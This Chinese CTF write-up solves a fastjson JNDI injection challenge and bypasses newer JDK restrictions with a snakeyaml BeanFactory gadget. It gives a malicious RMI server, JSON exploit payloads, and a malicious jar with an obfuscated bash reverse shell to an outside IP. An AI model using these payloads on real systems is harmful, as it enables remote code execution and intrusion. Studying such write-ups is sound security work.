simple_json

考点:

snakeyaml绕过高版本jndi

解题

给了一个jar包,看一下controller

package ycb.simple_json.controller;

import com.alibaba.fastjson.JSON;
import java.io.IOException;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import ycb.simple_json.message.Message;
import ycb.simple_json.service.ApiTestService;

@RestController
@RequestMapping({"/ApiTest"})
public class JsonApiTestController {
    @Autowired
    private ApiTestService apiTestService;

    public JsonApiTestController() {
    }

    @GetMapping({"/get"})
    public String getApiTest() {
        return this.apiTestService.getMsg().toString();
    }

    @PostMapping({"/post"})
    public String postApiTest(HttpServletRequest request) {
        ServletInputStream inputStream = null;
        String jsonStr = null;

        try {
            inputStream = request.getInputStream();
            StringBuffer stringBuffer = new StringBuffer();
            byte[] buf = new byte[1024];
            int len = false;

            int len;
            while((len = inputStream.read(buf)) != -1) {
                stringBuffer.append(new String(buf, 0, len));
            }

            inputStream.close();
            jsonStr = stringBuffer.toString();
            return ((Message)JSON.parseObject(jsonStr, Message.class)).toString();
        } catch (IOException var7) {
            var7.printStackTrace();
            return "Test fail";
        }
    }
}

/ApiTest/post中有((Message)JSON.parseObject(jsonStr, Message.class)).toString();,利用fastjson来打,Test类给了ldap的payload

package ycb.simple_json;

import com.alibaba.fastjson.JSON;
import ycb.simple_json.message.Message;

public class Test {
    public Test() {
    }

    public static void main(String[] args) {
        System.out.println(JSON.parseObject("{\"content\" : {\"@type\": \"ycb.simple_json.service.JNDIService\", \"target\":\"ldap://101.33.211.155:8087/aaa\"}, \"msg\":{\"$ref\":\"$.content.context\"}}", Message.class));
    }
}

本地尝试低版本可以打,远程不行,猜测是JNDI高版本绕过

这里依赖中发现了snakeyaml,我们可以尝试rmi打反序列化

贴两篇参考文章:

http://tttang.com/archive/1405/#toc_snakeyaml
https://github.com/passer-W/snakeyaml-memshell
https://xz.aliyun.com/t/11208

先构造一个rmi服务器

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;


import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 9999");
        Registry registry = LocateRegistry.createRegistry( 9999);
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String yaml = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://1.117.171.248:8887/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        ref.add(new StringRefAddr("forceString", "a=load"));
        ref.add(new StringRefAddr("a", yaml));
        System.out.println("[*]Evil command: rce");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("rce", referenceWrapper);
    }
}

接下来将恶意jar放在对应端口后本地起一个rmiserver并利用frp将其映射到外网,client配置文件:

[common]
server_addr = 47.109.17.144
server_port = 8081

[ssh]                       
type = tcp                  
local_ip = 127.0.0.1       
local_port = 9999        
remote_port = 8082 

接下来kali起一个题目环境app.jar

http://192.168.111.5:8080/ApiTest/post

POST:
# 记得type改为json
{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"rmi://47.109.17.144:8082/rce"}, "msg":{"$ref":"$.content.context"}}

打完之后报500

image-20220904102553126

接下来?passer=whoami即可执行命令

这里发现一个问题就是远程无法连接,看了wp发现用到一个工具

https://github.com/orangetw/JNDI-Injection-Bypass

将snakeyaml添加后打包

 public ReferenceWrapper execBySnake() throws Exception{
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String yaml = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://1.117.171.248:8887/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        ref.add(new StringRefAddr("forceString", "a=load"));
        ref.add(new StringRefAddr("a", yaml));
        return new ReferenceWrapper(ref);
    }
    /**
     *   TODO: Need more methods to bypass in different java app builded by JDK 1.8.0_191+
     */


    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
        String ip = args[0];
        System.out.println(ip);
        EvilRMIServer evilRMIServer = new EvilRMIServer(new Listener(ip,5555));
        System.setProperty("java.rmi.server.hostname",ip);

        registry.bind("ExecByEL",evilRMIServer.execByEL());
        registry.bind("ExecByGroovy",evilRMIServer.execByGroovy());
        registry.bind("ExecBySnake",evilRMIServer.execBySnake());
    }
}

服务器开启rmiserver

java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer 1.117.171.248

最终payload

{"content" : {"@type": "ycb.simple_json.service.JNDIService", "target":"rmi://1.117.171.248:1097/ExecBySnake"}, "msg":{"$ref":"$.content.context"}}

注意

关于恶意jar的构造

https://github.com/passer-W/snakeyaml-memshell

或者自己构造

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;


public class Exp implements ScriptEngineFactory {


 static {
 try {
 Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNy4xNzEuMjQ4LzM5NTQzIDA+JjE=}|{base64,-d}|{bash,-i}");
 } catch (IOException e){
            e.printStackTrace();
 }
 }


 @Override
 public String getEngineName() {
 return null;
 }


 @Override
 public String getEngineVersion() {
 return null;
 }


 @Override
 public List<String> getExtensions() {
 return null;
 }


 @Override
 public List<String> getMimeTypes() {
 return null;
 }


 @Override
 public List<String> getNames() {
 return null;
 }


 @Override
 public String getLanguageName() {
 return null;
 }


 @Override
 public String getLanguageVersion() {
 return null;
 }


 @Override
 public Object getParameter(String key) {
 return null;
 }


 @Override
 public String getMethodCallSyntax(String obj, String m, String... args) {
 return null;
 }


 @Override
 public String getOutputStatement(String toDisplay) {
 return null;
 }


 @Override
 public String getProgram(String... statements) {
 return null;
 }


 @Override
 public ScriptEngine getScriptEngine() {
 return null;
 }


}

同目录下创建META-INF/services/javax.script.ScriptEngineFactory文件,内容为Exp

编译打包即可